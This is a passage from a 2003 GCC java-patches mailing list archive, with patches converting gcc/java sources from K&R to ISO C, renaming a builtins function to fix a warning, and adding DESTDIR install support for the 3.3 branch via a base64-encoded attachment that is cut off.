subroutine_nesting (tree label) Return TYPE_UNKNOWN if the types cannot be merged. */ static tree -merge_types (type1, type2) - tree type1, type2; +merge_types (tree type1, tree type2) { if (type1 == type2) return type1; @@ -245,8 +242,7 @@ merge_types (type1, type2) 0 if there was no change, and 1 if there was a change. */ int -merge_type_state (label) - tree label; +merge_type_state (tree label) { int nlocals = DECL_MAX_LOCALS (current_function_decl); int cur_length = stack_pointer + nlocals; @@ -308,8 +304,7 @@ merge_type_state (label) /* Handle dup-like operations. */ static void -type_stack_dup (size, offset) - int size, offset; +type_stack_dup (int size, int offset) { tree type[4]; int index; @@ -350,9 +345,7 @@ struct pc_index /* A helper that is used when sorting exception ranges. */ static int -start_pc_cmp (xp, yp) - const void *xp; - const void *yp; +start_pc_cmp (const void *xp, const void *yp) { const struct pc_index *x = (const struct pc_index *) xp; const struct pc_index *y = (const struct pc_index *) yp; @@ -375,8 +368,7 @@ start_pc_cmp (xp, yp) Return NULL on success and a freshly malloc'd error message on failure. */ static char * -pop_argument_types (arg_types) - tree arg_types; +pop_argument_types (tree arg_types) { if (arg_types == end_params_node) return NULL; @@ -419,10 +411,7 @@ pop_argument_types (arg_types) /* Verify the bytecodes of the current method. Return 1 on success, 0 on failure. */ int -verify_jvm_instructions (jcf, byte_ops, length) - JCF* jcf; - const unsigned char *byte_ops; - long length; +verify_jvm_instructions (JCF* jcf, const unsigned char *byte_ops, long length) { tree label; int wide = 0; diff -rup orig/egcc-CVS20030110/gcc/java/xref.c egcc-CVS20030110/gcc/java/xref.c --- orig/egcc-CVS20030110/gcc/java/xref.c 2003-01-09 18:13:21.000000000 -0500 +++ egcc-CVS20030110/gcc/java/xref.c 2003-01-10 23:40:43.085644506 -0500 @@ -41,8 +41,7 @@ static xref_flag_table xref_table [] = { /* Decode an xref flag value. Return 0 if the flag wasn't found. */ int -xref_flag_value (flag) - const char *flag; +xref_flag_value (const char *flag) { int i; for (i = 0; xref_table [i].key; i++) @@ -52,23 +51,19 @@ xref_flag_value (flag) } void -xref_set_data (flag, data) - int flag; - void *data; +xref_set_data (int flag, void *data) { xref_table [flag-1].data = data; } void * -xref_get_data (flag) - int flag; +xref_get_data (int flag) { return xref_table [flag-1].data; } void -xref_set_current_fp (fp) - FILE *fp; +xref_set_current_fp (FILE *fp) { xref_table [flag_emit_xref-1].fp = fp; } @@ -76,8 +71,7 @@ xref_set_current_fp (fp) /* Branch to the right xref "back-end". */ void -expand_xref (node) - tree node; +expand_xref (tree node) { /* Maintain these two cached. */ static FILE *fp = NULL; diff -rup orig/egcc-CVS20030110/gcc/java/zextract.c egcc-CVS20030110/gcc/java/zextract.c --- orig/egcc-CVS20030110/gcc/java/zextract.c 2003-01-09 18:13:21.000000000 -0500 +++ egcc-CVS20030110/gcc/java/zextract.c 2003-01-10 23:40:43.085644506 -0500 @@ -222,8 +222,7 @@ static long find_zip_file_start (int fd, /* Function makeword() */ /***********************/ -static ush makeword(b) - const uch *b; +static ush makeword(const uch *b) { /* * Convert Intel style 'short' integer to non-Intel non-16-bit @@ -237,8 +236,7 @@ static ush makeword(b) /* Function makelong() */ /***********************/ -static ulg makelong(sig) - const uch *sig; +static ulg makelong(const uch *sig) { /* * Convert intel style 'long' variable to non-Intel non-16-bit @@ -254,9 +252,7 @@ static ulg makelong(sig) start of the actual data. Return -1 on error. OFFSET is the offset from the beginning of the zip file of the file's header. */ static long -find_zip_file_start (fd, offset) - int fd; - long offset; +find_zip_file_start (int fd, long offset) { int filename_length, extra_field_length; unsigned char buffer[LREC_SIZE + 4]; @@ -277,8 +273,7 @@ find_zip_file_start (fd, offset) } int -read_zip_archive (zipf) - register ZipFile *zipf; +read_zip_archive (ZipFile *zipf) { int i; int dir_last_pad; @@ -356,7 +351,7 @@ read_zip_archive (zipf) } #ifdef TEST -main () +main (void) { ZipFile zipf[1]; ZipDirectory *zipd; From java-patches-return-5794-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Jan 12 02:42:29 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 32453 invoked by alias); 12 Jan 2003 02:42:28 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 32440 invoked from network); 12 Jan 2003 02:42:26 -0000 Received: from unknown (HELO caip.rutgers.edu) (128.6.236.10) by 209.249.29.67 with SMTP; 12 Jan 2003 02:42:26 -0000 Received: (from ghazi@localhost) by caip.rutgers.edu (8.9.3/8.9.3) id VAA03454; Sat, 11 Jan 2003 21:42:15 -0500 (EST) Date: Sat, 11 Jan 2003 21:42:15 -0500 (EST) From: "Kaveh R. Ghazi" Message-Id: <200301120242.VAA03454@caip.rutgers.edu> To: gcc-patches@gcc.gnu.org, java-patches@gcc.gnu.org Subject: Patch installed to generate java/keyword.h in ISO C style To be thorough in eliminating K&R style, I made the following change so that keyword.h (generated by gperf) also uses ISO C. I included the generated file so you can see what I mean. Tested on sparc-sun-solaris2.7 and installed as obvious. --Kaveh 2003-01-11 Kaveh R. Ghazi * Make-lang.in (keyword.h): Pass "-L ANSI-C" to gperf. * keyword.h: Regenerated. diff -rup orig/egcc-CVS20030110/gcc/java/Make-lang.in egcc-CVS20030110/gcc/java/Make-lang.in --- orig/egcc-CVS20030110/gcc/java/Make-lang.in 2003-01-09 21:35:24.000000000 -0500 +++ egcc-CVS20030110/gcc/java/Make-lang.in 2003-01-10 23:40:42.785642331 -0500 @@ -92,7 +92,7 @@ $(srcdir)/java/parse-scan.c: $(srcdir)/ $(srcdir)/java/keyword.h: $(srcdir)/java/keyword.gperf (cd $(srcdir)/java || exit 1; \ - gperf -L C -C -F ', 0' -p -t -j1 -i 1 -g -o -N java_keyword -k1,4,$$ \ + gperf -L ANSI-C -C -F ', 0' -p -t -j1 -i 1 -g -o -N java_keyword -k1,4,$$ \ keyword.gperf > k$$$$.h || { \ echo "Please update gperf from ftp://ftp.gnu.org/pub/gnu/gperf/" >&2; \ rm -f k$$$$.h; \ diff -rup orig/egcc-CVS20030110/gcc/java/keyword.h egcc-CVS20030110/gcc/java/keyword.h --- orig/egcc-CVS20030110/gcc/java/keyword.h 2003-01-09 18:13:20.000000000 -0500 +++ egcc-CVS20030110/gcc/java/keyword.h 2003-01-10 23:40:42.925642800 -0500 @@ -1,5 +1,5 @@ -/* C code produced by gperf version 2.7.2 */ -/* Command-line: gperf -L C -C -F ', 0' -p -t -j1 -i 1 -g -o -N java_keyword -k'1,4,$' keyword.gperf */ +/* ANSI-C code produced by gperf version 2.7.2 */ +/* Command-line: gperf -L ANSI-C -C -F ', 0' -p -t -j1 -i 1 -g -o -N java_keyword -k'1,4,$' keyword.gperf */ /* Keyword definition for the GNU compiler for the Java(TM) language. Copyright (C) 1997, 1998, 2001, 2002, 2003 Free Software Foundation, Inc. @@ -51,9 +51,7 @@ inline #endif #endif static unsigned int -hash (str, len) - register const char *str; - register unsigned int len; +hash (register const char *str, register unsigned int len) { static const unsigned char asso_values[] = { @@ -104,9 +102,7 @@ hash (str, len) __inline #endif const struct java_keyword * -java_keyword (str, len) - register const char *str; - register unsigned int len; +java_keyword (register const char *str, register unsigned int len) { static const struct java_keyword wordlist[] = { From java-patches-return-5795-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Jan 12 17:04:39 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 19922 invoked by alias); 12 Jan 2003 17:04:37 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 19907 invoked from network); 12 Jan 2003 17:04:35 -0000 Received: from unknown (HELO caip.rutgers.edu) (128.6.236.10) by 209.249.29.67 with SMTP; 12 Jan 2003 17:04:35 -0000 Received: (from ghazi@localhost) by caip.rutgers.edu (8.9.3/8.9.3) id MAA26982; Sun, 12 Jan 2003 12:04:23 -0500 (EST) Date: Sun, 12 Jan 2003 12:04:23 -0500 (EST) From: "Kaveh R. Ghazi" Message-Id: <200301121704.MAA26982@caip.rutgers.edu> To: gcc-patches@gcc.gnu.org, java-patches@gcc.gnu.org Subject: Patch for "static follows non-static" warning in java/builtins.c Bootstrapping the trunk yields this warning: > java/builtins.c:71: warning: static declaration for > `build_function_call_expr' follows non-static It arises because there is an extern copy of build_function_call_expr in the top level gcc dir and another static one in java/builtins.c. I renamed the java one to eliminate the warning. Bootstrapped successfully on sparc-sun-solaris2.7, the warning is gone. Ok to install? Thanks, --Kaveh 2003-01-11 Kaveh R. Ghazi * builtins.c (java_build_function_call_expr): Renamed from build_function_call_expr. All callers changed. diff -rup orig/egcc-CVS20030111/gcc/java/builtins.c egcc-CVS20030111/gcc/java/builtins.c --- orig/egcc-CVS20030111/gcc/java/builtins.c 2003-01-11 21:12:32.000000000 -0500 +++ egcc-CVS20030111/gcc/java/builtins.c 2003-01-11 22:22:25.941371102 -0500 @@ -68,7 +68,7 @@ static tree cos_builtin (tree, tree); static tree sin_builtin (tree, tree); static tree sqrt_builtin (tree, tree); -static tree build_function_call_expr (tree, tree); +static tree java_build_function_call_expr (tree, tree); static void define_builtin (enum built_in_function, const char *, enum built_in_class, tree, int); static tree define_builtin_type (int, int, int, int, int); @@ -140,7 +140,7 @@ abs_builtin (tree method_return_type, tr /* Mostly copied from ../builtins.c. */ static tree -build_function_call_expr (tree fn, tree arglist) +java_build_function_call_expr (tree fn, tree arglist) { tree call_expr; @@ -158,7 +158,7 @@ cos_builtin (tree method_return_type ATT tree fn = built_in_decls[BUILT_IN_COS]; if (fn == NULL_TREE) return NULL_TREE; - return build_function_call_expr (fn, method_arguments); + return java_build_function_call_expr (fn, method_arguments); } static tree @@ -168,7 +168,7 @@ sin_builtin (tree method_return_type ATT tree fn = built_in_decls[BUILT_IN_SIN]; if (fn == NULL_TREE) return NULL_TREE; - return build_function_call_expr (fn, method_arguments); + return java_build_function_call_expr (fn, method_arguments); } static tree @@ -178,7 +178,7 @@ sqrt_builtin (tree method_return_type AT tree fn = built_in_decls[BUILT_IN_SQRT]; if (fn == NULL_TREE) return NULL_TREE; - return build_function_call_expr (fn, method_arguments); + return java_build_function_call_expr (fn, method_arguments); } From java-patches-return-5796-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Jan 12 19:13:54 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 24955 invoked by alias); 12 Jan 2003 19:13:52 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 24893 invoked from network); 12 Jan 2003 19:13:22 -0000 Received: from unknown (HELO Dachs.Bau) (62.134.73.112) by 209.249.29.67 with SMTP; 12 Jan 2003 19:13:22 -0000 Received: by Dachs.Bau (Postfix on SuSE Linux 7.1 (i386), from userid 500) id 49DDE5DCA; Sun, 12 Jan 2003 20:14:11 +0100 (CET) Received: from localhost (localhost [127.0.0.1]) by Dachs.Bau (Postfix on SuSE Linux 7.1 (i386)) with ESMTP id C8A9AF863; Sun, 12 Jan 2003 20:14:10 +0100 (CET) Date: Sun, 12 Jan 2003 20:14:08 +0100 (CET) From: Christian Cornelssen X-X-Sender: To: Cc: , Subject: [3.3] DESTDIR support Message-ID: MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="8323584-1869864082-1042396557=:2599" Content-ID: This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. --8323584-1869864082-1042396557=:2599 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-ID: Hello, this is the DESTDIR patch for the gcc-3_3-branch. It is quite similar to the DESTDIR patch for the mainline, so you may want to take e.g. `destdir5.diff' from `http://gcc.gnu.org/ml/gcc-patches/2003-01/msg00232.html' and compare it with the attached `destdir-3.3-0.diff' using diff -I'^\(RCS\|retrieving\|diff\|---\|+++\|@@\) ' \ destdir5.diff destdir-3.3-0.diff Except for line numbers, the regeneration patches are identical to the respective 3.4 versions. The same holds for the documentation patch which seems to need a dedicated thread ("Re: [doc] DESTDIR and tooldir") and therefore is not provided here. The ChangeLog entries are again provided as plain text files conforming to `http://www.gnu.org/prep/standards_42.html', packed in the attached `destdir-changelog-3.3-1.tar.gz'. For the mainline, the top-level `Makefile.{tpl,in}' are kept in sync with their respective versions in the `src' tree and hence shall be checked into both repositories. I do not know whether similar careabouts exist for the gcc-3_3-branch. If only src's mainline mirrors gcc's toplevel, then it has got the patches already. For a detailed description of the DESTDIR patch, let me refer to `http://gcc.gnu.org/ml/gcc-patches/2003-01/msg00026.html', but note that `gcc/mkheaders.in' has been left unchanged, according to `http://gcc.gnu.org/ml/gcc-patches/2003-01/msg00111.html'. Fortunately, only two hunks from the mainline patch did not immediately apply to the gcc-3_3-branch. The only affected file is `gcc/Makefile.in'. One hunk failed because the gcc-3.3-branch of that file does not contain an `install-gcc-tooldir' rule which would need DESTDIRification. The second hunk failed due to change of quoting in a context line and could be resolved easily. Then I rescanned the 3.3 source tree to find remaining places that may need DESTDIRification, and found, again in `gcc/Makefile.in', the old `stmp-fixinc' rule. It includes commands for creating $(libsubdir) at build time (when cross-compiling with the default setting of SYSTEM_HEADER_DIR) in order to let the following compilations find the system header files (which goes via $(libsubdir)/$(unlibsubdir)/..). That approach is flawed for several reasons, but the main point here is that DESTDIRifying the creation of $(libsubdir) would make no sense there. The build-time compilations would need an unrelocated $(libsubdir) anyway. I have therefore left the `stmp-fixinc' rule untouched. This does not make the patch incomplete, however. The actual installation performed by "make install" can be relocated with DESTDIR as it should. The problem with build-time creation of a final installdir is just the same problem as before, which the DESTDIR patch cannot cure. The 3.4 version of `gcc/Makefile.in' already supports another approach which properly separates the installdir creation from the building step and therefore poses no problem to the DESTDIRification. (Just for elegance, you may still want to replace the $(libsubdir) creation fragment with a simple mkinstalldirs command.) Tested on i686-pc-linux-gnu. Besides, both mainline and 3.3 need additional fixes of some rules in `gcc/ada/Make-lang.in', otherwise the Ada binaries and info files won't get installed into a clean DESTDIR. Watch out for `gcc/ada/Make-lang.in: Some install tuning' (no URL yet). Regards, Christian Cornelssen --8323584-1869864082-1042396557=:2599 Content-Type: TEXT/PLAIN; charset=US-ASCII; name="destdir-3.3-1.diff" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: Content-Disposition: attachment; filename="destdir-3.3-1.diff" SW5kZXg6IE1ha2VmaWxlLnRwbA0KPT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0K UkNTIGZpbGU6IC91c3IvbG9jYWwvc3JjL2N2cy9nY2MtY3ZzL2djYy9NYWtl ZmlsZS50cGwsdg0KcmV0cmlldmluZyByZXZpc2lvbiAxLjEzLjYuMQ0KZGlm ZiAtdSAtcjEuMTMuNi4xIE1ha2VmaWxlLnRwbA0KLS0tIE1ha2VmaWxlLnRw bAkzMSBEZWMgMjAwMiAyMDowNjo1MyAtMDAwMAkxLjEzLjYuMQ0KKysrIE1h a2VmaWxlLnRwbAkxMiBKYW4gMjAwMyAxODo0ODo1OCAtMDAwMA0KQEAgLTM3 MCw2ICszNzAsNyBAQA0KIAkiQ1hYRkxBR1M9JChDWFhGTEFHUykiIFwNCiAJ IkNYWEZMQUdTX0ZPUl9UQVJHRVQ9JChDWFhGTEFHU19GT1JfVEFSR0VUKSIg XA0KIAkiQ1hYX0ZPUl9UQVJHRVQ9JChDWFhfRk9SX1RBUkdFVCkiIFwNCisJ IkRFU1RESVI9JChERVNURElSKSIgXA0KIAkiRExMVE9PTF9GT1JfVEFSR0VU PSQoRExMVE9PTF9GT1JfVEFSR0VUKSIgXA0KIAkiSU5TVEFMTD0kKElOU1RB TEwpIiBcDQogCSJJTlNUQUxMX0RBVEE9JChJTlNUQUxMX0RBVEEpIiBcDQpA QCAtNzM4LDcgKzczOSw3IEBADQogaW5zdGFsbC1pbmZvOiBkby1pbnN0YWxs LWluZm8gZGlyLmluZm8NCiAJcz1gY2QgJChzcmNkaXIpOyAke1BXRH1gOyBl eHBvcnQgczsgXA0KIAlpZiBbIC1mIGRpci5pbmZvIF0gOyB0aGVuIFwNCi0J ICAkKElOU1RBTExfREFUQSkgZGlyLmluZm8gJChpbmZvZGlyKS9kaXIuaW5m byA7IFwNCisJICAkKElOU1RBTExfREFUQSkgZGlyLmluZm8gJChERVNURElS KSQoaW5mb2RpcikvZGlyLmluZm8gOyBcDQogCWVsc2UgdHJ1ZSA7IGZpDQog DQogbG9jYWwtY2xlYW46DQpAQCAtMTUxMCw3ICsxNTExLDcgQEANCiANCiBk aXIuaW5mbzogZG8taW5zdGFsbC1pbmZvDQogCWlmIFsgLWYgJChzcmNkaXIp L3RleGluZm8vZ2VuLWluZm8tZGlyIF0gOyB0aGVuIFwNCi0JICAkKHNyY2Rp cikvdGV4aW5mby9nZW4taW5mby1kaXIgJChpbmZvZGlyKSAkKHNyY2Rpcikv dGV4aW5mby9kaXIuaW5mby10ZW1wbGF0ZSA+IGRpci5pbmZvLm5ldyA7IFwN CisJICAkKHNyY2RpcikvdGV4aW5mby9nZW4taW5mby1kaXIgJChERVNURElS KSQoaW5mb2RpcikgJChzcmNkaXIpL3RleGluZm8vZGlyLmluZm8tdGVtcGxh dGUgPiBkaXIuaW5mby5uZXcgOyBcDQogCSAgbXYgLWYgZGlyLmluZm8ubmV3 IGRpci5pbmZvIDsgXA0KIAllbHNlIHRydWUgOyBcDQogCWZpDQpJbmRleDog Z2NjL01ha2VmaWxlLmluDQo9PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQpSQ1Mg ZmlsZTogL3Vzci9sb2NhbC9zcmMvY3ZzL2djYy1jdnMvZ2NjL2djYy9NYWtl ZmlsZS5pbix2DQpyZXRyaWV2aW5nIHJldmlzaW9uIDEuOTU4LjIuMg0KZGlm ZiAtdSAtcjEuOTU4LjIuMiBNYWtlZmlsZS5pbg0KLS0tIGdjYy9NYWtlZmls ZS5pbgk5IEphbiAyMDAzIDEyOjQwOjQzIC0wMDAwCTEuOTU4LjIuMg0KKysr IGdjYy9NYWtlZmlsZS5pbgkxMiBKYW4gMjAwMyAxODo0ODo1OCAtMDAwMA0K QEAgLTY4Myw2ICs2ODMsNyBAQA0KIAkiQklTT049JChCSVNPTikiIFwNCiAJ IkJJU09ORkxBR1M9JChCSVNPTkZMQUdTKSIgXA0KIAkiQ0ZMQUdTPSQoQ0ZM QUdTKSAkKFdBUk5fQ0ZMQUdTKSIgXA0KKwkiREVTVERJUj0kKERFU1RESVIp IiBcDQogCSJHQ0NfRk9SX1RBUkdFVD0kKEdDQ19GT1JfVEFSR0VUKSIgXA0K IAkiTERGTEFHUz0kKExERkxBR1MpIiBcDQogCSJGTEVYPSQoRkxFWCkiIFwN CkBAIC0yNzQxLDE3MyArMjc0MiwxNjMgQEANCiAjIEhhbmRsZSBjcHAgaW5z dGFsbGF0aW9uLg0KIGluc3RhbGwtY3BwOiBjcHAkKGV4ZWV4dCkNCiAJLWlm IFsgLWYgZ2NjLWNyb3NzJChleGVleHQpIF0gOyB0aGVuIFwNCi0JICBybSAt ZiAkKGJpbmRpcikvJChDUFBfQ1JPU1NfTkFNRSkkKGV4ZWV4dCk7IFwNCi0J ICAkKElOU1RBTExfUFJPR1JBTSkgLW0gNzU1IGNwcCQoZXhlZXh0KSAkKGJp bmRpcikvJChDUFBfQ1JPU1NfTkFNRSkkKGV4ZWV4dCk7IFwNCisJICBybSAt ZiAkKERFU1RESVIpJChiaW5kaXIpLyQoQ1BQX0NST1NTX05BTUUpJChleGVl eHQpOyBcDQorCSAgJChJTlNUQUxMX1BST0dSQU0pIC1tIDc1NSBjcHAkKGV4 ZWV4dCkgJChERVNURElSKSQoYmluZGlyKS8kKENQUF9DUk9TU19OQU1FKSQo ZXhlZXh0KTsgXA0KIAkgIGlmIFsgeCQoY3BwX2luc3RhbGxfZGlyKSAhPSB4 IF07IHRoZW4gXA0KLQkgICAgcm0gLWYgJChwcmVmaXgpLyQoY3BwX2luc3Rh bGxfZGlyKS8kKENQUF9DUk9TU19OQU1FKSQoZXhlZXh0KTsgXA0KLQkgICAg JChJTlNUQUxMX1BST0dSQU0pIC1tIDc1NSBjcHAkKGV4ZWV4dCkgJChwcmVm aXgpLyQoY3BwX2luc3RhbGxfZGlyKS8kKENQUF9DUk9TU19OQU1FKSQoZXhl ZXh0KTsgXA0KKwkgICAgcm0gLWYgJChERVNURElSKSQocHJlZml4KS8kKGNw cF9pbnN0YWxsX2RpcikvJChDUFBfQ1JPU1NfTkFNRSkkKGV4ZWV4dCk7IFwN CisJICAgICQoSU5TVEFMTF9QUk9HUkFNKSAtbSA3NTUgY3BwJChleGVleHQp ICQoREVTVERJUikkKHByZWZpeCkvJChjcHBfaW5zdGFsbF9kaXIpLyQoQ1BQ X0NST1NTX05BTUUpJChleGVleHQpOyBcDQogCSAgZWxzZSB0cnVlOyBmaTsg XA0KIAllbHNlIFwNCi0JICBybSAtZiAkKGJpbmRpcikvJChDUFBfSU5TVEFM TF9OQU1FKSQoZXhlZXh0KTsgXA0KLQkgICQoSU5TVEFMTF9QUk9HUkFNKSAt bSA3NTUgY3BwJChleGVleHQpICQoYmluZGlyKS8kKENQUF9JTlNUQUxMX05B TUUpJChleGVleHQpOyBcDQorCSAgcm0gLWYgJChERVNURElSKSQoYmluZGly KS8kKENQUF9JTlNUQUxMX05BTUUpJChleGVleHQpOyBcDQorCSAgJChJTlNU QUxMX1BST0dSQU0pIC1tIDc1NSBjcHAkKGV4ZWV4dCkgJChERVNURElSKSQo YmluZGlyKS8kKENQUF9JTlNUQUxMX05BTUUpJChleGVleHQpOyBcDQogCSAg aWYgWyB4JChjcHBfaW5zdGFsbF9kaXIpICE9IHggXTsgdGhlbiBcDQotCSAg ICBybSAtZiAkKHByZWZpeCkvJChjcHBfaW5zdGFsbF9kaXIpLyQoQ1BQX0lO U1RBTExfTkFNRSkkKGV4ZWV4dCk7IFwNCi0JICAgICQoSU5TVEFMTF9QUk9H UkFNKSAtbSA3NTUgY3BwJChleGVleHQpICQocHJlZml4KS8kKGNwcF9pbnN0 YWxsX2RpcikvJChDUFBfSU5TVEFMTF9OQU1FKSQoZXhlZXh0KTsgXA0KKwkg ICAgcm0gLWYgJChERVNURElSKSQocHJlZml4KS8kKGNwcF9pbnN0YWxsX2Rp cikvJChDUFBfSU5TVEFMTF9OQU1FKSQoZXhlZXh0KTsgXA0KKwkgICAgJChJ TlNUQUxMX1BST0dSQU0pIC1tIDc1NSBjcHAkKGV4ZWV4dCkgJChERVNURElS KSQocHJlZml4KS8kKGNwcF9pbnN0YWxsX2RpcikvJChDUFBfSU5TVEFMTF9O QU1FKSQoZXhlZXh0KTsgXA0KIAkgIGVsc2UgdHJ1ZTsgZmk7IFwNCiAJZmkN CiANCiAjIENyZWF0ZSB0aGUgaW5zdGFsbGF0aW9uIGRpcmVjdG9yaWVzLg0K KyMgJChsaWJkaXIpL2djYy1saWIvaW5jbHVkZSBpc24ndCBjdXJyZW50bHkg c2VhcmNoZWQgYnkgY3BwLg0KIGluc3RhbGxkaXJzOg0KLQktaWYgWyAtZCAk KHByZWZpeCkgXSA7IHRoZW4gdHJ1ZSA7IGVsc2UgbWtkaXIgJChwcmVmaXgp IDsgY2htb2QgYStyeCAkKHByZWZpeCkgOyBmaQ0KLQktaWYgWyAtZCAkKGV4 ZWNfcHJlZml4KSBdIDsgdGhlbiB0cnVlIDsgZWxzZSBta2RpciAkKGV4ZWNf cHJlZml4KSA7IGNobW9kIGErcnggJChleGVjX3ByZWZpeCkgOyBmaQ0KLQkt aWYgWyAtZCAkKGxpYmRpcikgXSA7IHRoZW4gdHJ1ZSA7IGVsc2UgbWtkaXIg JChsaWJkaXIpIDsgY2htb2QgYStyeCAkKGxpYmRpcikgOyBmaQ0KLQktaWYg WyAtZCAkKGxpYmRpcikvZ2NjLWxpYiBdIDsgdGhlbiB0cnVlIDsgZWxzZSBt a2RpciAkKGxpYmRpcikvZ2NjLWxpYiA7IGNobW9kIGErcnggJChsaWJkaXIp L2djYy1saWIgOyBmaQ0KLSMgVGhpcyBkaXIgaXNuJ3QgY3VycmVudGx5IHNl YXJjaGVkIGJ5IGNwcC4NCi0jCS1pZiBbIC1kICQobGliZGlyKS9nY2MtbGli L2luY2x1ZGUgXSA7IHRoZW4gdHJ1ZSA7IGVsc2UgbWtkaXIgJChsaWJkaXIp L2djYy1saWIvaW5jbHVkZSA7IGNobW9kIGErcnggJChsaWJkaXIpL2djYy1s aWIvaW5jbHVkZSA7IGZpDQotCS1mZGlyPSA7IGZvciBkaXIgaW4gYGVjaG8g JChsaWJzdWJkaXIpIHwgdHIgJy8nICcgJ2A7IGRvIFwNCi0JICBmZGlyPSQk e2ZkaXJ9LyQke2Rpcn07IFwNCi0JICBpZiBbIC1kICQke2ZkaXJ9IF0gOyB0 aGVuIHRydWUgOyBlbHNlIG1rZGlyICQke2ZkaXJ9OyBjaG1vZCBhK3J4ICQk e2ZkaXJ9OyBmaSA7IFwNCi0JZG9uZQ0KLQktaWYgWyAtZCAkKGJpbmRpcikg XSA7IHRoZW4gdHJ1ZSA7IGVsc2UgbWtkaXIgJChiaW5kaXIpIDsgY2htb2Qg YStyeCAkKGJpbmRpcikgOyBmaQ0KLQktaWYgWyAtZCAkKGluY2x1ZGVkaXIp IF0gOyB0aGVuIHRydWUgOyBlbHNlIG1rZGlyICQoaW5jbHVkZWRpcikgOyBj aG1vZCBhK3J4ICQoaW5jbHVkZWRpcikgOyBmaQ0KLQktaWYgWyAtZCAkKGlu Zm9kaXIpIF0gOyB0aGVuIHRydWUgOyBlbHNlIG1rZGlyICQoaW5mb2Rpcikg OyBjaG1vZCBhK3J4ICQoaW5mb2RpcikgOyBmaQ0KLQktaWYgWyAtZCAkKHNs aWJkaXIpIF0gOyB0aGVuIHRydWUgOyBlbHNlIG1rZGlyICQoc2xpYmRpcikg OyBjaG1vZCBhK3J4ICQoc2xpYmRpcikgOyBmaQ0KLSMgV2UgZG9uJ3QgdXNl IG1rZGlyIC1wIHRvIGNyZWF0ZSB0aGUgcGFyZW50cyBvZiBtYW4xZGlyLA0K LSMgYmVjYXVzZSBzb21lIHN5c3RlbXMgZG9uJ3Qgc3VwcG9ydCBpdC4NCi0j IEluc3RlYWQsIHdlIHVzZSB0aGlzIHRlY2huaXF1ZSB0byBjcmVhdGUgdGhl IGltbWVkaWF0ZSBwYXJlbnQgb2YgbWFuMWRpci4NCi0JLXBhcmVudD1gZWNo byAkKG1hbjFkaXIpfHNlZCAtZSAnc0AvW14vXSokJEBAJ2A7IFwNCi0JaWYg WyAtZCAkJHBhcmVudCBdIDsgdGhlbiB0cnVlIDsgZWxzZSBta2RpciAkJHBh cmVudCA7IGNobW9kIGErcnggJCRwYXJlbnQgOyBmaQ0KLQktaWYgWyAtZCAk KG1hbjFkaXIpIF0gOyB0aGVuIHRydWUgOyBlbHNlIG1rZGlyICQobWFuMWRp cikgOyBjaG1vZCBhK3J4ICQobWFuMWRpcikgOyBmaQ0KLQktaWYgWyAtZCAk KG1hbjdkaXIpIF0gOyB0aGVuIHRydWUgOyBlbHNlIG1rZGlyICQobWFuN2Rp cikgOyBjaG1vZCBhK3J4ICQobWFuN2RpcikgOyBmaQ0KKwkkKFNIRUxMKSAk e3NyY2Rpcn0vbWtpbnN0YWxsZGlycyAkKERFU1RESVIpJChsaWJzdWJkaXIp DQorCSQoU0hFTEwpICR7c3JjZGlyfS9ta2luc3RhbGxkaXJzICQoREVTVERJ UikkKGJpbmRpcikNCisJJChTSEVMTCkgJHtzcmNkaXJ9L21raW5zdGFsbGRp cnMgJChERVNURElSKSQoaW5jbHVkZWRpcikNCisJJChTSEVMTCkgJHtzcmNk aXJ9L21raW5zdGFsbGRpcnMgJChERVNURElSKSQoaW5mb2RpcikNCisJJChT SEVMTCkgJHtzcmNkaXJ9L21raW5zdGFsbGRpcnMgJChERVNURElSKSQoc2xp YmRpcikNCisJJChTSEVMTCkgJHtzcmNkaXJ9L21raW5zdGFsbGRpcnMgJChE RVNURElSKSQobWFuMWRpcikNCisJJChTSEVMTCkgJHtzcmNkaXJ9L21raW5z dGFsbGRpcnMgJChERVNURElSKSQobWFuN2RpcikNCiANCiAjIEluc3RhbGwg dGhlIGNvbXBpbGVyIGV4ZWN1dGFibGVzIGJ1aWx0IGR1cmluZyBjcm9zcyBj b21waWxhdGlvbi4NCiBpbnN0YWxsLWNvbW1vbjogbmF0aXZlICQoRVhUUkFf UEFSVFMpIGxhbmcuaW5zdGFsbC1jb21tb24NCiAJZm9yIGZpbGUgaW4gJChD T01QSUxFUlMpOyBkbyBcDQogCSAgaWYgWyAtZiAkJGZpbGUgXSA7IHRoZW4g XA0KLQkgICAgcm0gLWYgJChsaWJzdWJkaXIpLyQkZmlsZTsgXA0KLQkgICAg JChJTlNUQUxMX1BST0dSQU0pICQkZmlsZSAkKGxpYnN1YmRpcikvJCRmaWxl OyBcDQorCSAgICBybSAtZiAkKERFU1RESVIpJChsaWJzdWJkaXIpLyQkZmls ZTsgXA0KKwkgICAgJChJTlNUQUxMX1BST0dSQU0pICQkZmlsZSAkKERFU1RE 